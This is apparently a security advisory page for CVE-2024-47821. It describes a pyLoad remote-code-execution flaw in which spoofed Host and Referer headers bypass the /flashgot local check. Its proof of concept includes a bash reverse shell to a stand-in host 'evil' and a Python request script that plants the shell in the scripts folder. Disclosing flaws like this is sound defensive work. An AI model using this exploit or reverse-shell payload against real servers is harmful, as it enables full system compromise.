CVE-2024-47821: pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

Published Oct 25, 2024
·
Updated

Summary The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes 1. Change the download folder to /home/<user>/.pyload/scripts 2. Change permissions for downloaded files: 1. Change permissions of downloads: on 2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

Referer header check def flashgot(): if flask.request.referrer not in ( "http://localhost:9666/flashgot", "http://127.0.0.1:9666/flashgot", ): flask.abort(500) ... Host header check for local check def localcheck(func): @wraps(func) def wrapper(args, kwargs): remoteaddr = flask.request.environ.get("REMOTEADDR", "0") httphost = flask.request.environ.get("HTTPHOST", "0")

if remoteaddr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or httphost in ( "127.0.0.1:9666", "[::1]:9666", ): return func(args, kwargs) else: return "Forbidden", 403

return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC Create a malicious file. I have created a reverse shell #!/bin/bash bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using downloadfinished folder as the destination folder. Scripts in this folder are run when a download is completed. import requests

url = "http://pyload/flashgot" headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = { "package": "downloadfinished", "passwords": "optionalpassword", "urls": "http://evil/exp.sh", "autostart": 1, }

response = requests.post(url, data=data, headers=headers) When the above request is made, exp.sh will be downloaded to /scripts/downloadfinished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots Download folder

<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">

exp.sh is downloaded

<img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec">

Script is run

<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">

Reverse shell connection is received

<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">

Impact This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

Other sources

pyLoad is a free and open-source Download Manager. The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.

— MITRE

Affected Software

2 affected componentsFixes available
pip/pyload-ng<0.5.0b3.dev87
0.5.0b3.dev87
pyLoad pyload=0.5.0

Event History

Oct 25, 2024
CVE Published
via MITRE·10:48 PM
Data Sourced
via MITRE·10:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
Affected Software
Oct 28, 2024
Advisory Published
via GitHub·12:23 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-47821?

CVE-2024-47821 is rated as a critical vulnerability because it allows for remote code execution.

2

How do I fix CVE-2024-47821?

To fix CVE-2024-47821, upgrade to pyload-ng version 0.5.0b3.dev87 or later.

3

What software is affected by CVE-2024-47821?

CVE-2024-47821 affects the pyload-ng package versions earlier than 0.5.0b3.dev87.

4

What kind of attack does CVE-2024-47821 facilitate?

CVE-2024-47821 facilitates remote code execution attacks when an executable file is downloaded into the scripts folder.

5

Is user interaction required for exploiting CVE-2024-47821?

Yes, user interaction is required to download an executable file to the targeted folder to exploit CVE-2024-47821.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203